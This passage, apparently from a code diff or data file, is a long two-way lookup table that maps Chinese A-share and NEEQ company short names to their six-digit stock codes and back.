"ST起步", +"曼恩斯特": "301325", +"301325": "曼恩斯特", +"金房能源": "001210", +"001210": "金房能源", +"英维克": "002837", +"002837": "英维克", +"退市海创": "600555", +"600555": "退市海创", +"亚翔集成": "603929", +"603929": "亚翔集成", +"爱建集团": "600643", +"600643": "爱建集团", +"*ST金洲": "000587", +"000587": "*ST金洲", +"南威软件": "603636", +"603636": "南威软件", +"长江健康": "002435", +"002435": "长江健康", +"大湖股份": "600257", +"600257": "大湖股份", +"长城证券": "002939", +"002939": "长城证券", +"白云山": "600332", +"600332": "白云山", +"远大智能": "002689", +"002689": "远大智能", +"山东黄金": "600547", +"600547": "山东黄金", +"新莱福": "301323", +"301323": "新莱福", +"城地香江": "603887", +"603887": "城地香江", +"网宿科技": "300017", +"300017": "网宿科技", +"大秦铁路": "601006", +"601006": "大秦铁路", +"福能股份": "600483", +"600483": "福能股份", +"朗进科技": "300594", +"300594": "朗进科技", +"容大感光": "300576", +"300576": "容大感光", +"大洋电机": "002249", +"002249": "大洋电机", +"坤恒顺维": "688283", +"688283": "坤恒顺维", +"荣晟环保": "603165", +"603165": "荣晟环保", +"威马农机": "301533", +"301533": "威马农机", +"宏华数科": "688789", +"688789": "宏华数科", +"东鹏饮料": "605499", +"605499": "东鹏饮料", +"华资实业": "600191", +"600191": "华资实业", +"佳讯飞鸿": "300213", +"300213": "佳讯飞鸿", +"雪浪环境": "300385", +"300385": "雪浪环境", +"声迅股份": "003004", +"003004": "声迅股份", +"瀚川智能": "688022", +"688022": "瀚川智能", +"钧达股份": "002865", +"002865": "钧达股份", +"双星新材": "002585", +"002585": "双星新材", +"云维股份": "600725", +"600725": "云维股份", +"退市海润": "600401", +"600401": "退市海润", +"开特股份": "832978", +"832978": "开特股份", +"日播时尚": "603196", +"603196": "日播时尚", +"王力安防": "605268", +"605268": "王力安防", +"双塔食品": "002481", +"002481": "双塔食品", +"新": "000876", +"000876": "新", +"昇辉科技": "300423", +"300423": "昇辉科技", +"航天智装": "300455", +"300455": "航天智装", +"西部牧业": "300106", +"300106": "西部牧业", +"岩石股份": "600696", +"600696": "岩石股份", +"斯瑞新材": "688102", +"688102": "斯瑞新材", +"长沙银行": "601577", +"601577": "长沙银行", +"新联电子": "002546", +"002546": "新联电子", +"熙菱信息": "300588", +"300588": "熙菱信息", +"明星电力": "600101", +"600101": "明星电力", +"通程控股": "000419", +"000419": "通程控股", +"光大嘉宝": "600622", +"600622": "光大嘉宝", +"赛恩斯": "688480", +"688480": "赛恩斯", +"郑州煤电": "600121", +"600121": "郑州煤电", +"同和药业": "300636", +"300636": "同和药业", +"*ST环保": "000730", +"000730": "*ST环保", +"爱司凯": "300521", +"300521": "爱司凯", +"大唐发电": "601991", +"601991": "大唐发电", +"新元科技": "300472", +"300472": "新元科技", +"尚品宅配": "300616", +"300616": "尚品宅配", +"鸿远电子": "603267", +"603267": "鸿远电子", +"中公教育": "002607", +"002607": "中公教育", +"三德科技": "300515", +"300515": "三德科技", +"丰安股份": "870508", +"870508": "丰安股份", +"新通联": "603022", +"603022": "新通联", +"致尚科技": "301486", +"301486": "致尚科技", +"三峰环境": "601827", +"601827": "三峰环境", +"佳隆股份": "002495", +"002495": "佳隆股份", +"金力泰": "300225", +"300225": "金力泰", +"芒果超媒": "300413", +"300413": "芒果超媒", +"苏大维格": "300331", +"300331": "苏大维格", +"神剑股份": "002361", +"002361": "神剑股份", +"瑞鹄模具": "002997", +"002997": "瑞鹄模具", +"国机汽车": "600335", +"600335": "国机汽车", +"大禹生物": "871970", +"871970": "大禹生物", +"豪迈科技": "002595", +"002595": "豪迈科技", +"星昊医药": "430017", +"430017": "星昊医药", +"彩虹集团": "003023", +"003023": "彩虹集团", +"龙版传媒": "605577", +"605577": "龙版传媒", +"和元生物": "688238", +"688238": "和元生物", +"恒辉安防": "300952", +"300952": "恒辉安防", +"*ST博天": "603603", +"603603": "*ST博天", +"湖南裕能": "301358", +"301358": "湖南裕能", +"金马游乐": "300756", +"300756": "金马游乐", +"龙头股份": "600630", +"600630": "龙头股份", +"金钟股份": "301133", +"301133": "金钟股份", +"派克新材": "605123", +"605123": "派克新材", +"翔丰华": "300890", +"300890": "翔丰华", +"康德莱": "603987", +"603987": "康德莱", +"莱美药业": "300006", +"300006": "莱美药业", +"合力科技": "603917", +"603917": "合力科技", +"登海种业": "002041", +"002041": "登海种业", +"中水渔业": "000798", +"000798": "中水渔业", +"多利科技": "001311", +"001311": "多利科技", +"中熔电气": "301031", +"301031": "中熔电气", +"常宝股份": "002478", +"002478": "常宝股份", +"鞍钢股份": "000898", +"000898": "鞍钢股份", +"克劳斯": "600579", +"600579": "克劳斯", +"*ST越博": "300742", +"300742": "*ST越博", +"亚普股份": "603013", +"603013": "亚普股份", +"纵横通信": "603602", +"603602": "纵横通信", +"华纬科技": "001380", +"001380": "华纬科技", +"*ST凯撒": "000796", +"000796": "*ST凯撒", +"万集科技": "300552", +"300552": "万集科技", +"富临精工": "300432", +"300432": "富临精工", +"宏盛股份": "603090", +"603090": "宏盛股份", +"太阳电缆": "002300", +"002300": "太阳电缆", +"韶能股份": "000601", +"000601": "韶能股份", +"新威凌": "871634", +"871634": "新威凌", +"张江高科": "600895", +"600895": "张江高科", +"天承科技": "688603", +"688603": "天承科技", +"东箭科技": "300978", +"300978": "东箭科技", +"国投资本": "600061", +"600061": "国投资本", +"维信诺": "002387", +"002387": "维信诺", +"联建光电": "300269", +"300269": "联建光电", +"纬达光电": "873001", +"873001": "纬达光电", +"青木股份": "301110", +"301110": "青木股份", +"恒合股份": "832145", +"832145": "恒合股份", +"祥生医疗": "688358", +"688358": "祥生医疗", +"大连热电": "600719", +"600719": "大连热电", +"三星医疗": "601567", +"601567": "三星医疗", +"舜宇精工": "831906", +"831906": "舜宇精工", +"正平股份": "603843", +"603843": "正平股份", +"派能科技": "688063", +"688063": "派能科技", +"特变电工": "600089", +"600089": "特变电工", +"黄山胶囊": "002817", +"002817": "黄山胶囊", +"迪威尔": "688377", +"688377": "迪威尔", +"金冠电气": "688517", +"688517": "金冠电气", +"光智科技": "300489", +"300489": "光智科技", +"鱼跃医疗": "002223", +"002223": "鱼跃医疗", +"天成自控": "603085", +"603085": "天成自控", +"科恒股份": "300340", +"300340": "科恒股份", +"天鹅股份": "603029", +"603029": "天鹅股份", +"三变科技": "002112", +"002112": "三变科技", +"唯特偶": "301319", +"301319": "唯特偶", +"祥源文旅": "600576", +"600576": "祥源文旅", +"旭升集团": "603305", +"603305": "旭升集团", +"津膜科技": "300334", +"300334": "津膜科技", +"广道数字": "839680", +"839680": "广道数字", +"捷佳伟创": "300724", +"300724": "捷佳伟创", +"联测科技": "688113", +"688113": "联测科技", +"浙江力诺": "300838", +"300838": "浙江力诺", +"富森美": "002818", +"002818": "富森美", +"渝三峡Ａ": "000565", +"000565": "渝三峡Ａ", +"舍得酒业": "600702", +"600702": "舍得酒业", +"东安动力": "600178", +"600178": "东安动力", +"东方碳素": "832175", +"832175": "东方碳素", +"天玛智控": "688570", +"688570": "天玛智控", +"华发股份": "600325", +"600325": "华发股份", +"意华股份": "002897", +"002897": "意华股份", +"上海凯宝": "300039", +"300039": "上海凯宝", +"思科瑞": "688053", +"688053": "思科瑞", +"特一药业": "002728", +"002728": "特一药业", +"莱特光电": "688150", +"688150": "莱特光电", +"长春燃气": "600333", +"600333": "长春燃气", +"大洋生物": "003017", +"003017": "大洋生物", +"科陆电子": "002121", +"002121": "科陆电子", +"天邦食品": "002124", +"002124": "天邦食品", +"泓淋电力": "301439", +"301439": "泓淋电力", +"信捷电气": "603416", +"603416": "信捷电气", +"招商轮船": "601872", +"601872": "招商轮船", +"光大证券": "601788", +"601788": "光大证券", +"新钢股份": "600782", +"600782": "新钢股份", +"迈瑞医疗": "300760", +"300760": "迈瑞医疗", +"兆新股份": "002256", +"002256": "兆新股份", +"宝泰隆": "601011", +"601011": "宝泰隆", +"永泰能源": "600157", +"600157": "永泰能源", +"粤万年青": "301111", +"301111": "粤万年青", +"*ST惠天": "000692", +"000692": "*ST惠天", +"创新医疗": "002173", +"002173": "创新医疗", +"拓普集团": "601689", +"601689": "拓普集团", +"绿色动力": "601330", +"601330": "绿色动力", +"越秀资本": "000987", +"000987": "越秀资本", +"运达股份": "300772", +"300772": "运达股份", +"神马股份": "600810", +"600810": "神马股份", +"中天服务": "002188", +"002188": "中天服务", +"中曼石油": "603619", +"603619": "中曼石油", +"华瑞股份": "300626", +"300626": "华瑞股份", +"西藏珠峰": "600338", +"600338": "西藏珠峰", +"*ST信威": "600485", +"600485": "*ST信威", +"合金投资": "000633", +"000633": "合金投资", +"三诺生物": "300298", +"300298": "三诺生物", +"退市海医": "600896", +"600896": "退市海医", +"ST中利": "002309", +"002309": "ST中利", +"国光连锁": "605188", +"605188": "国光连锁", +"日辰股份": "603755", +"603755": "日辰股份", +"金发拉比": "002762", +"002762": "金发拉比", +"山东威达": "002026", +"002026": "山东威达", +"栖霞建设": "600533", +"600533": "栖霞建设", +"星华新材": "301077", +"301077": "星华新材", +"东方盛虹": "000301", +"000301": "东方盛虹", +"中旗股份": "300575", +"300575": "中旗股份", +"精进电动-UW": "688280", +"688280": "精进电动-UW", +"派斯林": "600215", +"600215": "派斯林", +"东方国信": "300166", +"300166": "东方国信", +"哈森股份": "603958", +"603958": "哈森股份", +"创维数字": "000810", +"000810": "创维数字", +"宁新新材": "839719", +"839719": "宁新新材", +"伟明环保": "603568", +"603568": "伟明环保", +"恒天海龙": "000677", +"000677": "恒天海龙", +"维力医疗": "603309", +"603309": "维力医疗", +"智翔金泰-U": "688443", +"688443": "智翔金泰-U", +"上海物贸": "600822", +"600822": "上海物贸", +"胜通能源": "001331", +"001331": "胜通能源", +"宣亚国际": "300612", +"300612": "宣亚国际", +"泰山石油": "000554", +"000554": "泰山石油", +"宏力达": "688330", +"688330": "宏力达", +"金卡智能": "300349", +"300349": "金卡智能", +"中原高速": "600020", +"600020": "中原高速", +"微创光电": "430198", +"430198": "微创光电", +"锦盛新材": "300849", +"300849": "锦盛新材", +"博亚精工": "300971", +"300971": "博亚精工", +"柯利达": "603828", +"603828": "柯利达", +"华维设计": "833427", +"833427": "华维设计", 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"301309", +"301309": "万得凯", +"ST德豪": "002005", +"002005": "ST德豪", +"智微智能": "001339", +"001339": "智微智能", +"胜华新材": "603026", +"603026": "胜华新材", +"健康元": "600380", +"600380": "健康元", +"立华股份": "300761", +"300761": "立华股份", +"冠昊生物": "300238", +"300238": "冠昊生物", +"山西焦化": "600740", +"600740": "山西焦化", +"菲利华": "300395", +"300395": "菲利华", +"浩物股份": "000757", +"000757": "浩物股份", +"新大正": "002968", +"002968": "新大正", +"游族网络": "002174", +"002174": "游族网络", +"七一二": "603712", +"603712": "七一二", +"三元股份": "600429", +"600429": "三元股份", +"*ST爱迪": "002740", +"002740": "*ST爱迪", +"有研粉材": "688456", +"688456": "有研粉材", +"上工申贝": "600843", +"600843": "上工申贝", +"航天长峰": "600855", +"600855": "航天长峰", +"三角轮胎": "601163", +"601163": "三角轮胎", +"海天精工": "601882", +"601882": "海天精工", +"天秦装备": "300922", +"300922": "天秦装备", +"毕得医药": "688073", +"688073": "毕得医药", +"心脉医疗": "688016", +"688016": "心脉医疗", +"亚光股份": "603282", +"603282": "亚光股份", +"亿通科技": "300211", +"300211": "亿通科技", +"家联科技": "301193", +"301193": "家联科技", +"同辉信息": "430090", +"430090": "同辉信息", +"耐科装备": "688419", +"688419": "耐科装备", +"多伦科技": "603528", +"603528": "多伦科技", +"华明装备": "002270", +"002270": "华明装备", +"国中水务": "600187", +"600187": "国中水务", +"联翔股份": "603272", +"603272": "联翔股份", +"深南电A": "000037", +"000037": "深南电A", +"龙力退": "002604", +"002604": "龙力退", +"合兴包装": "002228", +"002228": "合兴包装", +"美诺华": "603538", +"603538": "美诺华", +"吉华集团": "603980", +"603980": "吉华集团", +"长城股份": "000569", +"000569": "长城股份", +"蓝盾光电": "300862", +"300862": "蓝盾光电", +"银泰黄金": "000975", +"000975": "银泰黄金", +"山鹰国际": "600567", +"600567": "山鹰国际", +"雏鹰退": "002477", +"002477": "雏鹰退", +"远东传动": "002406", +"002406": "远东传动", +"广康生化": "300804", +"300804": "广康生化", +"倍杰特": "300774", +"300774": "倍杰特", +"尤夫股份": "002427", +"002427": "尤夫股份", +"严牌股份": "301081", +"301081": "严牌股份", +"倍益康": "870199", +"870199": "倍益康", +"苏试试验": "300416", +"300416": "苏试试验", +"珍宝岛": "603567", +"603567": "珍宝岛", +"恒星科技": "002132", +"002132": "恒星科技", +"比音勒芬": "002832", +"002832": "比音勒芬", +"富瀚微": "300613", +"300613": "富瀚微", +"瑞星股份": "836717", +"836717": "瑞星股份", +"五芳斋": "603237", +"603237": "五芳斋", +"万里扬": "002434", +"002434": "万里扬", +"科林电气": "603050", +"603050": "科林电气", +"东风科技": "600081", +"600081": "东风科技", +"北大医药": "000788", +"000788": "北大医药", +"中新集团": "601512", +"601512": "中新集团", +"赛托生物": "300583", +"300583": "赛托生物", +"九州通": "600998", +"600998": "九州通", +"新大洲A": "000571", +"000571": "新大洲A", +"同兴环保": "003027", +"003027": "同兴环保", +"尚荣医疗": "002551", +"002551": "尚荣医疗", +"紫光国微": "002049", +"002049": "紫光国微", +"冠中生态": "300948", +"300948": "冠中生态", +"方大特钢": "600507", +"600507": "方大特钢", +"*ST慧辰": "688500", +"688500": "*ST慧辰", +"晶盛机电": "300316", +"300316": "晶盛机电", +"宝地矿业": "601121", +"601121": "宝地矿业", +"龙迅股份": "688486", +"688486": "龙迅股份", +"方大集团": "000055", +"000055": "方大集团", +"奥马电器": "002668", +"002668": "奥马电器", +"顶固集创": "300749", +"300749": "顶固集创", +"恒立钻具": "836942", +"836942": "恒立钻具", +"威博液压": "871245", +"871245": "威博液压", +"四方股份": "601126", +"601126": "四方股份", +"亿能电力": "837046", +"837046": "亿能电力", +"西藏天路": "600326", +"600326": "西藏天路", +"鲁": "000726", +"000726": "鲁", +"拓日新能": "002218", +"002218": "拓日新能", +"巴安水务": "300262", +"300262": "巴安水务", +"山东海化": "000822", +"000822": "山东海化", +"宇信科技": "300674", +"300674": "宇信科技", +"汇通集团": "603176", +"603176": "汇通集团", +"特瑞斯": "834014", +"834014": "特瑞斯", +"神州信息": "000555", +"000555": "神州信息", +"贵州百灵": "002424", +"002424": "贵州百灵", +"旭光电子": "600353", +"600353": "旭光电子", +"利群股份": "601366", +"601366": "利群股份", +"世运电路": "603920", +"603920": "世运电路", +"金橙子": "688291", +"688291": "金橙子", +"悦康药业": "688658", +"688658": "悦康药业", +"威孚高科": "000581", +"000581": "威孚高科", +"金银河": "300619", +"300619": "金银河", +"三未信安": "688489", +"688489": "三未信安", +"海信视像": "600060", +"600060": "海信视像", +"芯源微": "688037", +"688037": "芯源微", +"中国电信": "601728", +"601728": "中国电信", +"天华新能": "300390", +"300390": "天华新能", +"承德露露": "000848", +"000848": "承德露露", +"涛涛车业": "301345", +"301345": "涛涛车业", +"江西长运": "600561", +"600561": "江西长运", +"永新光学": "603297", +"603297": "永新光学", +"保利发展": "600048", +"600048": "保利发展", +"中交地产": "000736", +"000736": "中交地产", +"敷尔佳": "301371", +"301371": "敷尔佳", +"艾隆科技": "688329", +"688329": "艾隆科技", +"英科医疗": "300677", +"300677": "英科医疗", +"乐创技术": "430425", +"430425": "乐创技术", +"仕佳光子": "688313", +"688313": "仕佳光子", +"康鹏科技": "688602", +"688602": "康鹏科技", +"德马科技": "688360", +"688360": "德马科技", +"科伦药业": "002422", +"002422": "科伦药业", +"盛帮股份": "301233", +"301233": "盛帮股份", +"双元科技": "688623", +"688623": "双元科技", +"*ST新联": "000620", +"000620": "*ST新联", +"昆工科技": "831152", +"831152": "昆工科技", +"淳中科技": "603516", +"603516": "淳中科技", +"嵘泰股份": "605133", +"605133": "嵘泰股份", +"*ST豆神": "300010", +"300010": "*ST豆神", +"容百科技": "688005", +"688005": "容百科技", +"闰土股份": "002440", +"002440": "闰土股份", +"山河智能": "002097", +"002097": "山河智能", +"中国北车": "601299", +"601299": "中国北车", +"福能东方": "300173", +"300173": "福能东方", +"先惠技术": "688155", +"688155": "先惠技术", +"测绘股份": "300826", +"300826": "测绘股份", +"*ST全新": "000007", +"000007": "*ST全新", +"罗平锌电": "002114", +"002114": "罗平锌电", +"康盛股份": "002418", +"002418": "康盛股份", +"松原股份": "300893", +"300893": "松原股份", +"中材国际": "600970", +"600970": "中材国际", +"键凯科技": "688356", +"688356": "键凯科技", +"吉电股份": "000875", +"000875": "吉电股份", +"安克创新": "300866", +"300866": "安克创新", +"溯联股份": "301397", +"301397": "溯联股份", +"欣灵电气": "301388", +"301388": "欣灵电气", +"思进智能": "003025", +"003025": "思进智能", +"海昌新材": "300885", +"300885": "海昌新材", +"嘉寓股份": "300117", +"300117": "嘉寓股份", +"动力源": "600405", +"600405": "动力源", +"豫能控股": "001896", +"001896": "豫能控股", +"齐鲁银行": "601665", +"601665": "齐鲁银行", +"银之杰": "300085", +"300085": "银之杰", +"瑞芯微": "603893", +"603893": "瑞芯微", +"丽珠集团": "000513", +"000513": "丽珠集团", +"大元泵业": "603757", +"603757": "大元泵业", +"气派科技": "688216", +"688216": "气派科技", +"大参林": "603233", +"603233": "大参林", +"新华网": "603888", +"603888": "新华网", +"凡拓数创": "301313", +"301313": "凡拓数创", +"电工合金": "300697", +"300697": "电工合金", +"华图山鼎": "300492", +"300492": "华图山鼎", +"安路科技": "688107", +"688107": "安路科技", +"美邦服饰": "002269", +"002269": "美邦服饰", +"药明康德": "603259", +"603259": "药明康德", +"惠伦晶体": "300460", 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+"联合化学": "301209", +"301209": "联合化学", +"郴电国际": "600969", +"600969": "郴电国际", +"德艺文创": "300640", +"300640": "德艺文创", +"依依股份": "001206", +"001206": "依依股份", +"ST实达": "600734", +"600734": "ST实达", +"ST路通": "300555", +"300555": "ST路通", +"跨境通": "002640", +"002640": "跨境通", +"长园集团": "600525", +"600525": "长园集团", +"民生健康": "301507", +"301507": "民生健康", +"汇成股份": "688403", +"688403": "汇成股份", +"中润资源": "000506", +"000506": "中润资源", +"济南高新": "600807", +"600807": "济南高新", +"方正科技": "600601", +"600601": "方正科技", +"孚能科技": "688567", +"688567": "孚能科技", +"重药控股": "000950", +"000950": "重药控股", +"京源环保": "688096", +"688096": "京源环保", +"三特索道": "002159", +"002159": "三特索道", +"行动教育": "605098", +"605098": "行动教育", +"奥锐特": "605116", +"605116": "奥锐特", +"新天绿能": "600956", +"600956": "新天绿能", +"秉扬科技": "836675", +"836675": "秉扬科技", +"爱康科技": "002610", +"002610": "爱康科技", +"德必集团": "300947", +"300947": "德必集团", +"绿的谐波": "688017", +"688017": "绿的谐波", +"三友科技": "834475", +"834475": "三友科技", +"杭叉集团": "603298", +"603298": "杭叉集团", +"深圳瑞捷": "300977", +"300977": "深圳瑞捷", +"屹通新材": "300930", +"300930": "屹通新材", +"广东宏大": "002683", +"002683": "广东宏大", +"宜通世纪": "300310", +"300310": "宜通世纪", +"深中华A": "000017", +"000017": "深中华A", +"海新能科": "300072", +"300072": "海新能科", +"九": "000989", +"000989": "九", +"上海电气": "601727", +"601727": "上海电气", +"安旭生物": "688075", +"688075": "安旭生物", +"四维图新": "002405", +"002405": "四维图新", +"延江股份": "300658", +"300658": "延江股份", +"天迈科技": "300807", +"300807": "天迈科技", +"高能环境": "603588", +"603588": "高能环境", +"爱仕达": "002403", +"002403": "爱仕达", +"晨光股份": "603899", +"603899": "晨光股份", +"紫光股份": "000938", +"000938": "紫光股份", +"澜起科技": "688008", +"688008": "澜起科技", +"金龙机电": "300032", +"300032": "金龙机电", +"汇通能源": "600605", +"600605": "汇通能源", +"孩子王": "301078", +"301078": "孩子王", +"科瑞技术": "002957", +"002957": "科瑞技术", +"天利科技": "300399", +"300399": "天利科技", +"安科生物": "300009", +"300009": "安科生物", +"美锦能源": "000723", +"000723": "美锦能源", +"明新旭腾": "605068", +"605068": "明新旭腾", +"双环传动": "002472", +"002472": "双环传动", +"益生股份": "002458", +"002458": "益生股份", +"江盐集团": "601065", +"601065": "江盐集团", +"复旦复华": "600624", +"600624": "复旦复华", +"宁夏建材": "600449", +"600449": "宁夏建材", +"有研硅": "688432", +"688432": "有研硅", +"奥维通信": "002231", +"002231": "奥维通信", +"菲菱科思": "301191", +"301191": "菲菱科思", +"航天工程": "603698", +"603698": "航天工程", +"三只松鼠": "300783", +"300783": "三只松鼠", +"返利科技": "600228", +"600228": "返利科技", +"华培动力": "603121", +"603121": "华培动力", +"*ST围海": "002586", +"002586": "*ST围海", +"江阴银行": "002807", +"002807": "江阴银行", +"当代退": "000673", +"000673": "当代退", +"华纺股份": "600448", +"600448": "华纺股份", +"比依股份": "603215", +"603215": "比依股份", +"安徽建工": "600502", +"600502": "安徽建工", +"江苏雷利": "300660", +"300660": "江苏雷利", +"北方稀土": "600111", +"600111": "北方稀土", +"誉衡药业": "002437", +"002437": "誉衡药业", +"五": "000858", +"000858": "五", +"珠江啤酒": "002461", +"002461": "珠江啤酒", +"贝达药业": "300558", +"300558": "贝达药业", +"国安达": "300902", +"300902": "国安达", +"航天科技": "000901", +"000901": "航天科技", +"万东医疗": "600055", +"600055": "万东医疗", +"铜峰电子": "600237", +"600237": "铜峰电子", +"因赛集团": "300781", +"300781": "因赛集团", +"能辉科技": "301046", +"301046": "能辉科技", +"天齐锂业": "002466", +"002466": "天齐锂业", +"中南文化": "002445", +"002445": "中南文化", +"科强股份": "873665", +"873665": "科强股份", +"中坚科技": "002779", +"002779": "中坚科技", +"华策影视": "300133", +"300133": "华策影视", +"戎美股份": "301088", +"301088": "戎美股份", +"卫信康": "603676", +"603676": "卫信康", +"中南股份": "000717", +"000717": "中南股份", +"*ST西发": "000752", +"000752": "*ST西发", +"苏垦农发": "601952", +"601952": "苏垦农发", +"嘉益股份": "301004", +"301004": "嘉益股份", +"长青科技": "001324", +"001324": "长青科技", +"上海机场": "600009", +"600009": "上海机场", +"五洲交通": "600368", +"600368": "五洲交通", +"万和电气": "002543", +"002543": "万和电气", +"皖仪科技": "688600", +"688600": "皖仪科技", +"东方电缆": "603606", +"603606": "东方电缆", +"智光电气": "002169", +"002169": "智光电气", +"长江通信": "600345", +"600345": "长江通信", +"合力泰": "002217", +"002217": "合力泰", +"扬帆新材": "300637", +"300637": "扬帆新材", +"朗姿股份": "002612", +"002612": "朗姿股份", +"聚龙退": "300202", +"300202": "聚龙退", +"劲旅环境": "001230", +"001230": "劲旅环境", +"阿石创": "300706", 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"金逸影视", +"高新发展": "000628", +"000628": "高新发展", +"大立科技": "002214", +"002214": "大立科技", +"经纬恒润-W": "688326", +"688326": "经纬恒润-W", +"海澜之家": "600398", +"600398": "海澜之家", +"华尔泰": "001217", +"001217": "华尔泰", +"纽威股份": "603699", +"603699": "纽威股份", +"旷达科技": "002516", +"002516": "旷达科技", +"浙商证券": "601878", +"601878": "浙商证券", +"建发合诚": "603909", +"603909": "建发合诚", +"迅游科技": "300467", +"300467": "迅游科技", +"明阳科技": "837663", +"837663": "明阳科技", +"联影医疗": "688271", +"688271": "联影医疗", +"大连重工": "002204", +"002204": "大连重工", +"甘李药业": "603087", +"603087": "甘李药业", +"福赛科技": "301529", +"301529": "福赛科技", +"安徽合力": "600761", +"600761": "安徽合力", +"君禾股份": "603617", +"603617": "君禾股份", +"晶赛科技": "871981", +"871981": "晶赛科技", +"超华科技": "002288", +"002288": "超华科技", +"黄山旅游": "600054", +"600054": "黄山旅游", +"德众汽车": "838030", +"838030": "德众汽车", +"博迅生物": "836504", +"836504": "博迅生物", +"华泰证券": "601688", +"601688": "华泰证券", +"快意电梯": "002774", +"002774": "快意电梯", +"两面针": "600249", +"600249": "两面针", +"文一科技": "600520", +"600520": "文一科技", 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"锦江在线", +"东方中科": "002819", +"002819": "东方中科", +"好想你": "002582", +"002582": "好想你", +"开元教育": "300338", +"300338": "开元教育", +"国联水产": "300094", +"300094": "国联水产", +"合肥城建": "002208", +"002208": "合肥城建", +"东华科技": "002140", +"002140": "东华科技", +"天源迪科": "300047", +"300047": "天源迪科", +"君逸数码": "301172", +"301172": "君逸数码", +"东方锆业": "002167", +"002167": "东方锆业", +"华特达因": "000915", +"000915": "华特达因", +"紫金矿业": "601899", +"601899": "紫金矿业", +"晓程科技": "300139", +"300139": "晓程科技", +"航天机电": "600151", +"600151": "航天机电", +"湖南天雁": "600698", +"600698": "湖南天雁", +"百亚股份": "003006", +"003006": "百亚股份", +"中鼎股份": "000887", +"000887": "中鼎股份", +"雷尔伟": "301016", +"301016": "雷尔伟", +"中国国贸": "600007", +"600007": "中国国贸", +"海利尔": "603639", +"603639": "海利尔", +"鑫汇科": "831167", +"831167": "鑫汇科", +"盛美上海": "688082", +"688082": "盛美上海", +"新巨丰": "301296", +"301296": "新巨丰", +"康尼机电": "603111", +"603111": "康尼机电", +"惠泉啤酒": "600573", +"600573": "惠泉啤酒", +"红墙股份": "002809", +"002809": "红墙股份", +"文峰股份": "601010", +"601010": "文峰股份", +"腾景科技": "688195", +"688195": "腾景科技", +"新劲刚": "300629", +"300629": "新劲刚", +"东方集团": "600811", +"600811": "东方集团", +"上海艾录": "301062", +"301062": "上海艾录", +"领益智造": "002600", +"002600": "领益智造", +"易明医药": "002826", +"002826": "易明医药", +"陕建股份": "600248", +"600248": "陕建股份", +"秦川机床": "000837", +"000837": "秦川机床", +"深圳新星": "603978", +"603978": "深圳新星", +"众辰科技": "603275", +"603275": "众辰科技", +"银星能源": "000862", +"000862": "银星能源", +"大名城": "600094", +"600094": "大名城", +"金利华电": "300069", +"300069": "金利华电", +"开创电气": "301448", +"301448": "开创电气", +"外运发展": "600270", +"600270": "外运发展", +"格力电器": "000651", +"000651": "格力电器", +"万泰生物": "603392", +"603392": "万泰生物", +"西子洁能": "002534", +"002534": "西子洁能", +"五新隧装": "835174", +"835174": "五新隧装", +"奔朗新材": "836807", +"836807": "奔朗新材", +"中天精装": "002989", +"002989": "中天精装", +"徕木股份": "603633", +"603633": "徕木股份", +"赛特新材": "688398", +"688398": "赛特新材", +"满坤科技": "301132", +"301132": "满坤科技", +"邵阳液压": "301079", +"301079": "邵阳液压", +"禾信仪器": "688622", +"688622": "禾信仪器", +"冀凯股份": "002691", +"002691": "冀凯股份", +"葫芦娃": "605199", +"605199": "葫芦娃", +"侨银股份": "002973", +"002973": "侨银股份", +"中旗新材": "001212", +"001212": "中旗新材", +"纽威数控": "688697", +"688697": "纽威数控", +"良品铺子": "603719", +"603719": "良品铺子", +"首创证券": "601136", +"601136": "首创证券", +"鸿路钢构": "002541", +"002541": "鸿路钢构", +"东北制药": "000597", +"000597": "东北制药", +"航天晨光": "600501", +"600501": "航天晨光", +"道明光学": "002632", +"002632": "道明光学", +"中科云网": "002306", +"002306": "中科云网", +"*ST凯乐": "600260", +"600260": "*ST凯乐", +"济川药业": "600566", +"600566": "济川药业", +"华仁药业": "300110", +"300110": "华仁药业", +"信科移动-U": "688387", +"688387": "信科移动-U", +"佳发教育": "300559", +"300559": "佳发教育", +"准油股份": "002207", +"002207": "准油股份", +"若羽臣": "003010", +"003010": "若羽臣", +"兴业科技": "002674", +"002674": "兴业科技", +"东方环宇": "603706", +"603706": "东方环宇", +"雅博股份": "002323", +"002323": "雅博股份", +"盛和资源": "600392", +"600392": "盛和资源", +"东珠生态": "603359", +"603359": "东珠生态", +"奇安信-U": "688561", +"688561": "奇安信-U", +"农尚环境": "300536", +"300536": "农尚环境", +"易普力": "002096", +"002096": "易普力", +"宝莫股份": "002476", +"002476": "宝莫股份", +"森麒麟": "002984", +"002984": "森麒麟", +"昂利康": "002940", +"002940": "昂利康", +"中天火箭": "003009", +"003009": "中天火箭", +"海力风电": "301155", +"301155": "海力风电", +"泰格医药": "300347", +"300347": "泰格医药", +"亿利洁能": "600277", +"600277": "亿利洁能", +"迈克生物": "300463", +"300463": "迈克生物", +"渤海化学": "600800", +"600800": "渤海化学", +"顺丰控股": "002352", +"002352": "顺丰控股", +"麦捷科技": "300319", +"300319": "麦捷科技", +"设计总院": "603357", +"603357": "设计总院", +"退市银鸽": "600069", +"600069": "退市银鸽", +"保税科技": "600794", +"600794": "保税科技", +"国恩股份": "002768", +"002768": "国恩股份", +"中科金财": "002657", +"002657": "中科金财", +"棒杰股份": "002634", +"002634": "棒杰股份", +"金田股份": "601609", +"601609": "金田股份", +"富春股份": "300299", +"300299": "富春股份", +"兆龙互连": "300913", +"300913": "兆龙互连", +"迅捷兴": "688655", +"688655": "迅捷兴", +"和林微纳": "688661", +"688661": "和林微纳", +"浙江正特": "001238", +"001238": "浙江正特", +"迪哲医药-U": "688192", +"688192": "迪哲医药-U", +"中铁特货": "001213", +"001213": "中铁特货", +"华峰测控": "688200", +"688200": "华峰测控", +"三维化学": "002469", +"002469": "三维化学", +"国盾量子": "688027", +"688027": "国盾量子", +"梅轮电梯": "603321", +"603321": "梅轮电梯", +"绿田机械": "605259", +"605259": "绿田机械", +"退市金泰": "600385", +"600385": "退市金泰", +"楚江新材": "002171", +"002171": "楚江新材", +"金海通": "603061", +"603061": "金海通", +"耀皮玻璃": "600819", +"600819": "耀皮玻璃", +"精智达": "688627", +"688627": "精智达", +"瑞达期货": "002961", +"002961": "瑞达期货", +"双杰电气": "300444", +"300444": "双杰电气", +"运机集团": "001288", +"001288": "运机集团", +"好当家": "600467", +"600467": "好当家", +"北讯退": "002359", +"002359": "北讯退", +"读客文化": "301025", +"301025": "读客文化", +"协创数据": "300857", +"300857": "协创数据", +"宝利国际": "300135", +"300135": "宝利国际", +"鼎胜新材": "603876", +"603876": "鼎胜新材", +"澳华内镜": "688212", +"688212": "澳华内镜", +"中海达": "300177", +"300177": "中海达", +"湘油泵": "603319", +"603319": "湘油泵", +"老凤祥": 